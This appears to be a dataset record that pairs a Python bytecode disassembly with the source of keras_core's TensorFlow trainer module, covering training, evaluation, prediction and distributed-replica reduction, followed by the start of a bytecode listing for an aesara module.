all_shapes LOAD_FAST strategy LOAD_ATTR num_replicas_in_sync LOAD_CONST ('num_or_size_splits', 'num') CALL_FUNCTION STORE_FAST replicas BUILD_LIST STORE_FAST ordered_replicas LOAD_GLOBAL len LOAD_FAST strategy LOAD_ATTR extended LOAD_ATTR worker_devices CALL_FUNCTION STORE_FAST num_replicas_per_worker SETUP_LOOP to 168 LOAD_GLOBAL range LOAD_FAST num_replicas_per_worker CALL_FUNCTION GET_ITER FOR_ITER to 166 STORE_FAST replica_id LOAD_FAST ordered_replicas LOAD_FAST replicas LOAD_FAST replica_id LOAD_CONST None LOAD_FAST num_replicas_per_worker BUILD_SLICE BINARY_SUBSCR INPLACE_ADD STORE_FAST ordered_replicas JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL concat LOAD_FAST ordered_replicas CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 34 STORE_FAST single_value LOAD_GLOBAL tf LOAD_ATTR expand_dims LOAD_GLOBAL tf LOAD_METHOD shape LOAD_FAST single_value CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL tf LOAD_ATTR SparseTensor CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR sparse LOAD_ATTR concat LOAD_FAST axis LOAD_FAST tensors LOAD_CONST ('axis', 'sp_inputs') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL _is_scalar LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR stack LOAD_FAST tensors LOAD_FAST axis LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL tf LOAD_ATTR concat LOAD_FAST tensors LOAD_FAST axis LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST strategy LOAD_METHOD experimental_local_results LOAD_FAST v CALL_METHOD STORE_FAST replicas LOAD_FAST strategy LOAD_ATTR extended LOAD_ATTR num_replicas_per_host STORE_FAST num_replicas_per_host BUILD_LIST STORE_FAST ordered_replicas SETUP_LOOP to 58 LOAD_GLOBAL range LOAD_FAST num_replicas_per_host CALL_FUNCTION GET_ITER FOR_ITER to 56 STORE_FAST replica_id LOAD_FAST ordered_replicas LOAD_FAST replicas LOAD_FAST replica_id LOAD_CONST None LOAD_FAST num_replicas_per_host BUILD_SLICE BINARY_SUBSCR INPLACE_ADD STORE_FAST ordered_replicas JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL concat LOAD_FAST ordered_replicas CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST strategy LOAD_GLOBAL tf LOAD_ATTR distribute LOAD_ATTR MultiWorkerMirroredStrategy CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST strategy LOAD_ATTR extended LOAD_METHOD _in_multi_worker_mode CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST obj LOAD_GLOBAL tf LOAD_ATTR distribute LOAD_ATTR DistributedValues CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_GLOBAL isinstance LOAD_FAST obj LOAD_GLOBAL tf LOAD_ATTR __internal__ LOAD_ATTR CompositeTensor CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL tf LOAD_ATTR Tensor LOAD_GLOBAL tf LOAD_ATTR Variable BUILD_TUPLE CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST x LOAD_ATTR shape LOAD_ATTR rank LOAD_CONST 0 COMPARE_OP == RETURN_VALUE LOAD_GLOBAL _is_tpu_strategy LOAD_FAST strategy CALL_FUNCTION JUMP_IF_FALSE_OR_POP LOAD_FAST strategy LOAD_ATTR extended LOAD_ATTR num_hosts LOAD_CONST 1 COMPARE_OP > RETURN_VALUE LOAD_GLOBAL _is_tpu_strategy_class LOAD_FAST strategy LOAD_ATTR __class__ CALL_FUNCTION RETURN_VALUE LOAD_CONST <code object is_tpu_strat at 0x7fae2f37a420, file "f.py", line 788> LOAD_CONST '_is_tpu_strategy_class.<locals>.is_tpu_strat' MAKE_FUNCTION STORE_FAST is_tpu_strat LOAD_FAST is_tpu_strat LOAD_FAST clz CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_GLOBAL any LOAD_GLOBAL map LOAD_GLOBAL _is_tpu_strategy_class LOAD_FAST clz LOAD_ATTR __bases__ CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST k LOAD_ATTR __name__ LOAD_METHOD startswith LOAD_CONST 'TPUStrategy' CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST x LOAD_GLOBAL tf LOAD_ATTR RaggedTensor CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST x RETURN_VALUE LOAD_FAST x LOAD_METHOD numpy CALL_METHOD RETURN_VALUE LOAD_GLOBAL len LOAD_FAST tensors CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL tf LOAD_ATTR SparseTensor CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR sparse LOAD_ATTR concat LOAD_CONST 0 LOAD_FAST tensors LOAD_CONST ('axis', 'sp_inputs') CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL tf LOAD_ATTR RaggedTensor CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR concat LOAD_FAST tensors LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL tf LOAD_METHOD stack LOAD_CONST <code object <listcomp> at 0x7fae2f37aae0, file "f.py", line 820> LOAD_CONST 'potentially_ragged_concat.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST tensors GET_ITER CALL_FUNCTION CALL_METHOD STORE_FAST non_batch_shapes LOAD_GLOBAL tf LOAD_ATTR math LOAD_ATTR reduce_all LOAD_FAST non_batch_shapes LOAD_FAST non_batch_shapes LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BINARY_SUBSCR COMPARE_OP == LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION STORE_FAST constant_dims LOAD_GLOBAL tf LOAD_ATTR math LOAD_METHOD reduce_all LOAD_FAST constant_dims CALL_METHOD LOAD_METHOD numpy CALL_METHOD LOAD_METHOD item CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _is_scalar LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tf LOAD_ATTR stack LOAD_FAST tensors LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL tf LOAD_ATTR concat LOAD_FAST tensors LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_FAST constant_dims LOAD_METHOD numpy CALL_METHOD LOAD_METHOD tolist CALL_METHOD LOAD_CONST None LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_METHOD index LOAD_CONST False CALL_METHOD STORE_FAST constant_inner_dimensions LOAD_FAST constant_inner_dimensions LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None STORE_FAST constant_inner_shape JUMP_FORWARD to 252 LOAD_FAST tensors LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR shape LOAD_FAST constant_inner_dimensions UNARY_NEGATIVE LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST constant_inner_shape LOAD_GLOBAL tf LOAD_ATTR ragged LOAD_ATTR constant LOAD_CONST <code object <listcomp> at 0x7fab70095030, file "f.py", line 834> LOAD_CONST 'potentially_ragged_concat.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST tensors GET_ITER CALL_FUNCTION LOAD_FAST constant_inner_shape LOAD_CONST ('inner_shape',) CALL_FUNCTION LOAD_METHOD merge_dims LOAD_CONST 0 LOAD_CONST 1 CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST tensor LOAD_GLOBAL tf LOAD_METHOD shape LOAD_FAST tensor CALL_METHOD LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST tensor LOAD_FAST tensor LOAD_METHOD numpy CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
import contextlib import warnings import numpy as np import tensorflow as tf import tree from packaging.version import Version from tensorflow.python.eager import context as tf_context from keras_core.src import callbacks as callbacks_module from keras_core.src import metrics as metrics_module from keras_core.src import optimizers as optimizers_module from keras_core.src.trainers import trainer as base_trainer from keras_core.src.trainers.data_adapters import data_adapter_utils from keras_core.src.trainers.epoch_iterator import EpochIterator from keras_core.src.utils import traceback_utils class TensorFlowTrainer(base_trainer.Trainer): def __init__(self): super().__init__() self.train_function = None self.test_function = None self.predict_function = None if tf.distribute.has_strategy(): self._distribute_strategy = tf.distribute.get_strategy() else: self._distribute_strategy = None self._distribute_reduction_method = None self._supports_reduce_retracing = Version(tf.__version__) >= Version("2.9.0") @property def distribute_strategy(self): return self._distribute_strategy or tf.distribute.get_strategy() @property def distribute_reduction_method(self): return self._distribute_reduction_method or "auto" @distribute_reduction_method.setter def distribute_reduction_method(self, value): self._distribute_reduction_method = value def train_step(self, data): x, y, sample_weight = data_adapter_utils.unpack_x_y_sample_weight(data) with tf.GradientTape() as tape: if self._call_has_training_arg: y_pred = self(x, training=True) else: y_pred = self(x) loss = self.compute_loss( x=x, y=y, y_pred=y_pred, sample_weight=sample_weight ) self._loss_tracker.update_state(loss) if self.optimizer is not None: loss = self.optimizer.scale_loss(loss) if self.trainable_weights: trainable_weights = self.trainable_weights gradients = tape.gradient(loss, trainable_weights) self.optimizer.apply_gradients(zip(gradients, trainable_weights)) else: warnings.warn("The model does not have any trainable weights.") return self.compute_metrics(x, y, y_pred, sample_weight=sample_weight) def test_step(self, data): x, y, sample_weight = data_adapter_utils.unpack_x_y_sample_weight(data) if self._call_has_training_arg: y_pred = self(x, training=False) else: y_pred = self(x) loss = self.compute_loss(x=x, y=y, y_pred=y_pred, sample_weight=sample_weight) self._loss_tracker.update_state(loss) return self.compute_metrics(x, y, y_pred, sample_weight=sample_weight) def predict_step(self, data): x, _, _ = data_adapter_utils.unpack_x_y_sample_weight(data) if self._call_has_training_arg: y_pred = self(x, training=False) else: y_pred = self(x) return y_pred def make_train_function(self, force=False): if self.train_function is not None and not force: return self.train_function @tf.autograph.experimental.do_not_convert def one_step_on_data(data): """Runs a single training step on a batch of data.""" return self.train_step(data) if not self.run_eagerly: kwargs = {"jit_compile": self.jit_compile} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) one_step_on_data = tf.function(one_step_on_data, **kwargs) @tf.autograph.experimental.do_not_convert def one_step_on_iterator(iterator): """Runs a single training step given a Dataset iterator.""" data = next(iterator) outputs = self.distribute_strategy.run(one_step_on_data, args=(data,)) outputs = reduce_per_replica( outputs, self.distribute_strategy, reduction=self.distribute_reduction_method, ) return outputs @tf.autograph.experimental.do_not_convert def multi_step_on_iterator(iterator): for _ in range(self.steps_per_execution): outputs = one_step_on_iterator(iterator) return outputs if self.steps_per_execution > 1: train_function = multi_step_on_iterator else: train_function = one_step_on_iterator if not self.run_eagerly: kwargs = {} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) train_function = tf.function(train_function, **kwargs) self.train_function = train_function def make_test_function(self, force=False): if self.test_function is not None and not force: return self.test_function @tf.autograph.experimental.do_not_convert def one_step_on_data(data): """Runs a single test step on a batch of data.""" return self.test_step(data) if not self.run_eagerly and self.jit_compile: kwargs = {"jit_compile": True} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) one_step_on_data = tf.function(one_step_on_data, **kwargs) @tf.autograph.experimental.do_not_convert def one_step_on_iterator(iterator): """Runs a single test step given a Dataset iterator.""" data = next(iterator) outputs = self.distribute_strategy.run(one_step_on_data, args=(data,)) outputs = reduce_per_replica( outputs, self.distribute_strategy, reduction=self.distribute_reduction_method, ) return outputs @tf.autograph.experimental.do_not_convert def multi_step_on_iterator(iterator): for _ in range(self.steps_per_execution): outputs = one_step_on_iterator(iterator) return outputs if self.steps_per_execution > 1: test_function = multi_step_on_iterator else: test_function = one_step_on_iterator if not self.run_eagerly: kwargs = {} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) test_function = tf.function(test_function, **kwargs) self.test_function = test_function def make_predict_function(self, force=False): if self.predict_function is not None and not force: return self.predict_function @tf.autograph.experimental.do_not_convert def one_step_on_data(data): """Runs a predict test step on a batch of data.""" return self.predict_step(data) if not self.run_eagerly and self.jit_compile: kwargs = {"jit_compile": True} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) one_step_on_data = tf.function(one_step_on_data, **kwargs) @tf.autograph.experimental.do_not_convert def one_step_on_data_distributed(data): data = data[0] outputs = self.distribute_strategy.run(one_step_on_data, args=(data,)) outputs = reduce_per_replica( outputs, self.distribute_strategy, reduction=self.distribute_reduction_method, ) return outputs @tf.autograph.experimental.do_not_convert def multi_step_on_data(data): outputs = one_step_on_data_distributed(data[:1]) for single_step_data in data[1:]: step_outputs = one_step_on_data_distributed([single_step_data]) outputs = tf.nest.map_structure( lambda t1, t2: concat([t1, t2]), outputs, step_outputs ) return outputs if self.steps_per_execution > 1: predict_function = multi_step_on_data else: predict_function = one_step_on_data_distributed if not self.run_eagerly: kwargs = {} if self._supports_reduce_retracing: kwargs.update({"reduce_retracing": True}) predict_function = tf.function(predict_function, **kwargs) self.predict_function = predict_function @traceback_utils.filter_traceback def fit( self, x=None, y=None, batch_size=None, epochs=1, verbose="auto", callbacks=None, validation_split=0.0, validation_data=None, shuffle=True, class_weight=None, sample_weight=None, initial_epoch=0, steps_per_epoch=None, validation_steps=None, validation_batch_size=None, validation_freq=1, ): self._assert_compile_called("fit") if validation_split and validation_data is None: ( x, y, sample_weight, ), validation_data = data_adapter_utils.train_validation_split( (x, y, sample_weight), validation_split=validation_split ) if validation_data: ( val_x, val_y, val_sample_weight, ) = data_adapter_utils.unpack_x_y_sample_weight(validation_data) epoch_iterator = TFEpochIterator( x=x, y=y, sample_weight=sample_weight, batch_size=batch_size, steps_per_epoch=steps_per_epoch, shuffle=shuffle, class_weight=class_weight, distribute_strategy=self.distribute_strategy, steps_per_execution=self.steps_per_execution, ) if not isinstance(callbacks, callbacks_module.CallbackList): callbacks = callbacks_module.CallbackList( callbacks, add_history=True, add_progbar=verbose != 0, verbose=verbose, epochs=epochs, steps=epoch_iterator.num_batches, model=self, ) self.stop_training = False self.make_train_function() callbacks.on_train_begin() training_logs = None logs = None for epoch in range(initial_epoch, epochs): self.reset_metrics() callbacks.on_epoch_begin(epoch) with epoch_iterator.catch_stop_iteration(): for step, iterator in epoch_iterator.enumerate_epoch(): callbacks.on_train_batch_begin(step) logs = self.train_function(iterator) callbacks.on_train_batch_end(step, self._pythonify_logs(logs)) if self.stop_training: break epoch_logs = self.get_metrics_result() if validation_data and self._should_eval(epoch, validation_freq): if getattr(self, "_eval_epoch_iterator", None) is None: self._eval_epoch_iterator = TFEpochIterator( x=val_x, y=val_y, sample_weight=val_sample_weight, batch_size=validation_batch_size or batch_size, distribute_strategy=self.distribute_strategy, steps_per_execution=self.steps_per_execution, steps_per_epoch=validation_steps, shuffle=False, ) val_logs = self.evaluate( x=val_x, y=val_y, sample_weight=val_sample_weight, batch_size=validation_batch_size or batch_size, steps=validation_steps, callbacks=callbacks, return_dict=True, _use_cached_eval_dataset=True, ) val_logs = {"val_" + name: val for name, val in val_logs.items()} epoch_logs.update(val_logs) callbacks.on_epoch_end(epoch, epoch_logs) training_logs = epoch_logs if self.stop_training: break if isinstance(self.optimizer, optimizers_module.Optimizer) and epochs > 0: self.optimizer.finalize_variable_values(self.trainable_weights) if getattr(self, "_eval_epoch_iterator", None) is not None: del self._eval_epoch_iterator callbacks.on_train_end(logs=training_logs) return self.history @traceback_utils.filter_traceback def evaluate( self, x=None, y=None, batch_size=None, verbose="auto", sample_weight=None, steps=None, callbacks=None, return_dict=False, **kwargs, ): self._assert_compile_called("evaluate") use_cached_eval_dataset = kwargs.pop("_use_cached_eval_dataset", False) if kwargs: raise ValueError(f"Arguments not recognized: {kwargs}") if use_cached_eval_dataset: epoch_iterator = self._eval_epoch_iterator else: epoch_iterator = TFEpochIterator( x=x, y=y, sample_weight=sample_weight, batch_size=batch_size, steps_per_epoch=steps, shuffle=False, distribute_strategy=self.distribute_strategy, steps_per_execution=self.steps_per_execution, ) if not isinstance(callbacks, callbacks_module.CallbackList): callbacks = callbacks_module.CallbackList( callbacks, add_history=True, add_progbar=verbose != 0, verbose=verbose, epochs=1, steps=epoch_iterator.num_batches, model=self, ) self.make_test_function() callbacks.on_test_begin() logs = None self.reset_metrics() with epoch_iterator.catch_stop_iteration(): for step, iterator in epoch_iterator.enumerate_epoch(): callbacks.on_test_batch_begin(step) logs = self.test_function(iterator) callbacks.on_test_batch_end(step, self._pythonify_logs(logs)) logs = self.get_metrics_result() callbacks.on_test_end(logs) if return_dict: return logs return self._flatten_metrics_in_order(logs) @traceback_utils.filter_traceback def predict(self, x, batch_size=None, verbose="auto", steps=None, callbacks=None): epoch_iterator = TFEpochIterator( x=x, batch_size=batch_size, steps_per_epoch=steps, shuffle=False, distribute_strategy=self.distribute_strategy, steps_per_execution=self.steps_per_execution, ) if not isinstance(callbacks, callbacks_module.CallbackList): callbacks = callbacks_module.CallbackList( callbacks, add_history=True, add_progbar=verbose != 0, verbose=verbose, epochs=1, steps=epoch_iterator.num_batches, model=self, ) def append_to_outputs(batch_outputs, outputs): if outputs is None: outputs = tf.nest.map_structure( lambda batch_output: [batch_output], batch_outputs, ) else: tree.map_structure_up_to( batch_outputs, lambda output, batch_output: output.append(batch_output), outputs, batch_outputs, ) return outputs def get_data(iterator): """Returns data for the next execution.""" data = [] for _ in range(self.steps_per_execution): try: single_step_data = next(iterator) except (StopIteration, tf.errors.OutOfRangeError) as e: if hasattr(data, "__len__") and len(data) > 0: return data else: raise e data.append(single_step_data) return data self.make_predict_function() callbacks.on_predict_begin() outputs = None with epoch_iterator.catch_stop_iteration(): for step, iterator in epoch_iterator.enumerate_epoch(): callbacks.on_predict_batch_begin(step) data = get_data(iterator) batch_outputs = self.predict_function(data) outputs = append_to_outputs(batch_outputs, outputs) callbacks.on_predict_batch_end(step, {"outputs": batch_outputs}) callbacks.on_predict_end() outputs = tree.map_structure_up_to( batch_outputs, potentially_ragged_concat, outputs ) return tf.nest.map_structure(convert_to_np_if_not_ragged, outputs) def train_on_batch( self, x, y=None, sample_weight=None, class_weight=None, return_dict=False, ): self._assert_compile_called("train_on_batch") self.make_train_function() if class_weight is not None: if sample_weight is not None: raise ValueError( "Arguments `sample_weight` and `class_weight` " "cannot be specified at the same time. " f"Received: sample_weight={sample_weight}, " f"class_weight={class_weight}" ) sample_weight = data_adapter_utils.class_weight_to_sample_weights( y, class_weight ) def data(): yield (x, y, sample_weight) logs = self.train_function(data()) logs = tf.nest.map_structure(lambda x: np.array(x), logs) if return_dict: return logs return self._flatten_metrics_in_order(logs) def test_on_batch( self, x, y=None, sample_weight=None, return_dict=False, ): self._assert_compile_called("test_on_batch") self.make_test_function() def data(): yield (x, y, sample_weight) logs = self.test_function(data()) logs = tf.nest.map_structure(lambda x: np.array(x), logs) if return_dict: return logs return self._flatten_metrics_in_order(logs) def predict_on_batch(self, x): self.make_predict_function() batch_outputs = self.predict_function([(x,)]) batch_outputs = tf.nest.map_structure( convert_to_np_if_not_ragged, batch_outputs ) return batch_outputs @property def compiled_metrics(self): class DeprecatedCompiledMetric: def update_state(_, y, y_pred, sample_weight=None): return self._compiled_metrics_update_state( y, y_pred, sample_weight=sample_weight ) return DeprecatedCompiledMetric() def _compiled_metrics_update_state(self, y, y_pred, sample_weight=None): warnings.warn( "`model.compiled_metrics()` is deprecated. " "Instead, use e.g.:\n" "```\n" "for metric in self.metrics:\n" " metric.update_state(y, y_pred)\n" "```\n", stacklevel=2, ) for metric in self.metrics: if isinstance(metric, metrics_module.Mean): metric.update_state(y_pred, sample_weight=sample_weight) else: metric.update_state(y, y_pred, sample_weight=sample_weight) def compiled_loss(self, y, y_pred, sample_weight=None, regularization_losses=None): warnings.warn( "`model.compiled_loss()` is deprecated. " "Instead, use `model.compute_loss(x, y, y_pred, sample_weight)`.", ) return self.compute_loss( x=None, y=y, y_pred=y_pred, sample_weight=sample_weight ) def loss(self, y, y_pred, sample_weight=None): warnings.warn( "`model.loss` is deprecated. " "Instead, use `model.compute_loss(x, y, y_pred, sample_weight)`.", ) return self.compute_loss( x=None, y=y, y_pred=y_pred, sample_weight=sample_weight ) class TFEpochIterator(EpochIterator): def __init__(self, distribute_strategy=None, *args, **kwargs): super().__init__(*args, **kwargs) self._distribute_strategy = distribute_strategy self._steps_seen = 0 def enumerate_epoch(self): if self.steps_per_epoch: if not self._current_iterator: self._current_iterator = iter( self._distribute_strategy.experimental_distribute_dataset( self.data_adapter.get_tf_dataset() ) ) for step in range(0, self.steps_per_epoch, self.steps_per_execution): yield step, self._current_iterator else: iterator = iter( self._distribute_strategy.experimental_distribute_dataset( self.data_adapter.get_tf_dataset() ) ) if self.num_batches: for step in range(0, self.num_batches, self.steps_per_execution): yield step, iterator else: step = -1 while True: step += self.steps_per_execution self._steps_seen = step + 1 yield step, iterator self.data_adapter.on_epoch_end() def tf_sync(self): tf_context.async_wait() @contextlib.contextmanager def catch_stop_iteration(self): """Catches errors when an iterator runs out of data.""" try: yield self.tf_sync() except (StopIteration, tf.errors.OutOfRangeError): if self._num_batches is None: self._num_batches = self._steps_seen warnings.warn( "Your input ran out of data; interrupting training. " "Make sure that your dataset or generator can generate " "at least `steps_per_epoch * epochs` batches. " "You may need to use the `.repeat()` " "function when building your dataset.", stacklevel=2, ) self._current_iterator = None self.data_adapter.on_epoch_end() def reduce_per_replica(values, strategy, reduction): """Attempt to reduce the structure `values` to single values. Given `values` (a `tf.Tensor` or a `PerReplica` structure), which represents the values across all the replicas, `reduce_per_replica` attempts to "reduce" those values and returns the corresponding structure that represents only single values. Currently, `reduce_per_replica` is only used for reducing the metric results from `tf.distribute.Strategy.run()`. Depending on the underlying `Strategy` implementation, `values` may be a `PerReplica` object, which can be thought of as a collection of values across the replicas, or a `tf.Tensor`, if the strategy has already conducted the reduction for the downstream library. There are five possible outcomes of reduction: 1) if the `values` is a structure of simple `tf.Tensor`s, meaning that reduction is not actually needed, `reduce_per_replica` returns the structure as-is. 2) else, if `reduction="auto"`, then the best reduction strategy is chosen based on the current environment. This should only be used for training cases (`fit()`). 3) else, if `reduction="first"`, then `reduce_per_replica` returns the values of the first replica. This is used in the case of training and evaluation, where `values` is expected to hold the same value across the replicas as a result of `Strategy`'s synchronization across the replicas. `reduce_per_replica` does not synchronize the values. 4) else, if `reduction="sum"`, then `reduce_per_replica` returns the sum of values for all replicas. This may be used in the custom training loop case, where each replica contain different values which are not synchronized. 5) else, if `reduction="concat"`, then `reduce_per_replica` returns the concatenation of the values across the replicas, along the axis of dimension 0. This is used in the inference case (`predict()`). Args: values: Structure of `PerReplica` objects or `tf.Tensor`s. `tf.Tensor`s are returned as-is. strategy: `tf.distribute.Strategy` object. reduction: One of `"auto"`, `"first"`, `"concat"`, or `"sum"`. `"auto"` will select `"first"` when used under a TPUStrategy, or `"sum"` otherwise. Returns: Structure of `Tensor`s, representing the result of reduction. Raises: ValueError: if the reduction method is not supported. """ if reduction == "auto": reduction = "sum" # Ignore TPU strategy which should default to "first" def _reduce(v): """Reduce a single `PerReplica` object.""" if _collective_all_reduce_multi_worker(strategy): if reduction == "concat": return _multi_worker_concat(v, strategy) elif reduction == "sum": return strategy.reduce("SUM", v, axis=None) if not _is_per_replica_instance(v): return v elif reduction == "first": return strategy.experimental_local_results(v)[0] elif reduction == "concat": if _is_tpu_multi_host(strategy): return _tpu_multi_host_concat(v, strategy) else: return concat(strategy.experimental_local_results(v)) elif reduction == "sum": return tf.reduce_sum(strategy.experimental_local_results(v)) else: raise ValueError( '`reduction` must be "first", "concat", "sum", or "auto". ' f"Received: reduction={reduction}." ) return tf.nest.map_structure(_reduce, values) def _multi_worker_concat(v, strategy): """Order PerReplica objects for CollectiveAllReduceStrategy and concat.""" replicas = strategy.gather(v, axis=0) if _is_per_replica_instance(v): shapes = tf.concat( [ tf.expand_dims(tf.shape(single_value)[0], axis=0) for single_value in v.values ], axis=0, ) all_shapes = strategy.gather(shapes, axis=0) else: all_shapes = strategy.gather(tf.expand_dims(tf.shape(v)[0], axis=0), axis=0) replicas = tf.split( replicas, num_or_size_splits=all_shapes, num=strategy.num_replicas_in_sync, ) ordered_replicas = [] num_replicas_per_worker = len(strategy.extended.worker_devices) for replica_id in range(num_replicas_per_worker): ordered_replicas += replicas[replica_id::num_replicas_per_worker] return concat(ordered_replicas) def concat(tensors, axis=0): """Concats `tensor`s along `axis`.""" if isinstance(tensors[0], tf.SparseTensor): return tf.sparse.concat(axis=axis, sp_inputs=tensors) elif _is_scalar(tensors[0]): return tf.stack(tensors, axis=axis) else: return tf.concat(tensors, axis=axis) def _tpu_multi_host_concat(v, strategy): """Correctly order TPU PerReplica objects.""" replicas = strategy.experimental_local_results(v) num_replicas_per_host = strategy.extended.num_replicas_per_host ordered_replicas = [] for replica_id in range(num_replicas_per_host): ordered_replicas += replicas[replica_id::num_replicas_per_host] return concat(ordered_replicas) def _collective_all_reduce_multi_worker(strategy): return ( isinstance(strategy, tf.distribute.MultiWorkerMirroredStrategy) ) and strategy.extended._in_multi_worker_mode() def _is_per_replica_instance(obj): return isinstance(obj, tf.distribute.DistributedValues) and isinstance( obj, tf.__internal__.CompositeTensor ) def _is_scalar(x): return isinstance(x, (tf.Tensor, tf.Variable)) and x.shape.rank == 0 def _is_tpu_multi_host(strategy): return _is_tpu_strategy(strategy) and strategy.extended.num_hosts > 1 def _is_tpu_strategy(strategy): return _is_tpu_strategy_class(strategy.__class__) def _is_tpu_strategy_class(clz): def is_tpu_strat(k): return k.__name__.startswith("TPUStrategy") if is_tpu_strat(clz): return True return any(map(_is_tpu_strategy_class, clz.__bases__)) def convert_to_np_if_not_ragged(x): if isinstance(x, tf.RaggedTensor): return x return x.numpy() def potentially_ragged_concat(tensors): """Concats `Tensor`s along their first dimension. Args: tensors: List of `Tensor`s. Returns: Concatenation of the inputs along the first dimension -- of type `np.ndarray` if all input shapes are compatible, or `tf.RaggedTensor` if not. """ if len(tensors) == 1: return tensors[0] elif isinstance(tensors[0], tf.SparseTensor): return tf.sparse.concat(axis=0, sp_inputs=tensors) elif isinstance(tensors[0], tf.RaggedTensor): return tf.concat(tensors, axis=0) non_batch_shapes = tf.stack([tf.shape(tensor)[1:] for tensor in tensors]) constant_dims = tf.math.reduce_all(non_batch_shapes == non_batch_shapes[:1], axis=0) if tf.math.reduce_all(constant_dims).numpy().item(): if _is_scalar(tensors[0]): return tf.stack(tensors, axis=0) else: return tf.concat(tensors, axis=0) constant_inner_dimensions = constant_dims.numpy().tolist()[::-1].index(False) if constant_inner_dimensions == 0: constant_inner_shape = None else: constant_inner_shape = tensors[0].shape[-constant_inner_dimensions:] return tf.ragged.constant( [tensor.numpy() for tensor in tensors], inner_shape=constant_inner_shape ).merge_dims(0, 1)
data/keras-core-0.1.7/keras_core/src/backend/tensorflow/trainer.py
14,516
9,005
385,963
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST ('Number',) IMPORT_NAME numbers IMPORT_FROM Number STORE_NAME Number POP_TOP LOAD_CONST 0 LOAD_CONST ('dedent',) IMPORT_NAME textwrap IMPORT_FROM dedent STORE_NAME dedent POP_TOP LOAD_CONST 0 LOAD_CONST ('Dict', 'List', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME aesara STORE_NAME aesara LOAD_CONST 0 LOAD_CONST ('DisconnectedType',) IMPORT_NAME aesara.gradient IMPORT_FROM DisconnectedType STORE_NAME DisconnectedType POP_TOP LOAD_CONST 0 LOAD_CONST ('Apply', 'Variable') IMPORT_NAME aesara.graph.basic IMPORT_FROM Apply STORE_NAME Apply IMPORT_FROM Variable STORE_NAME Variable POP_TOP LOAD_CONST 0 LOAD_CONST ('HasShape',) IMPORT_NAME aesara.graph.type IMPORT_FROM HasShape STORE_NAME HasShape POP_TOP LOAD_CONST 0 LOAD_CONST ('COp',) IMPORT_NAME aesara.link.c.op IMPORT_FROM COp STORE_NAME COp POP_TOP LOAD_CONST 0 LOAD_CONST 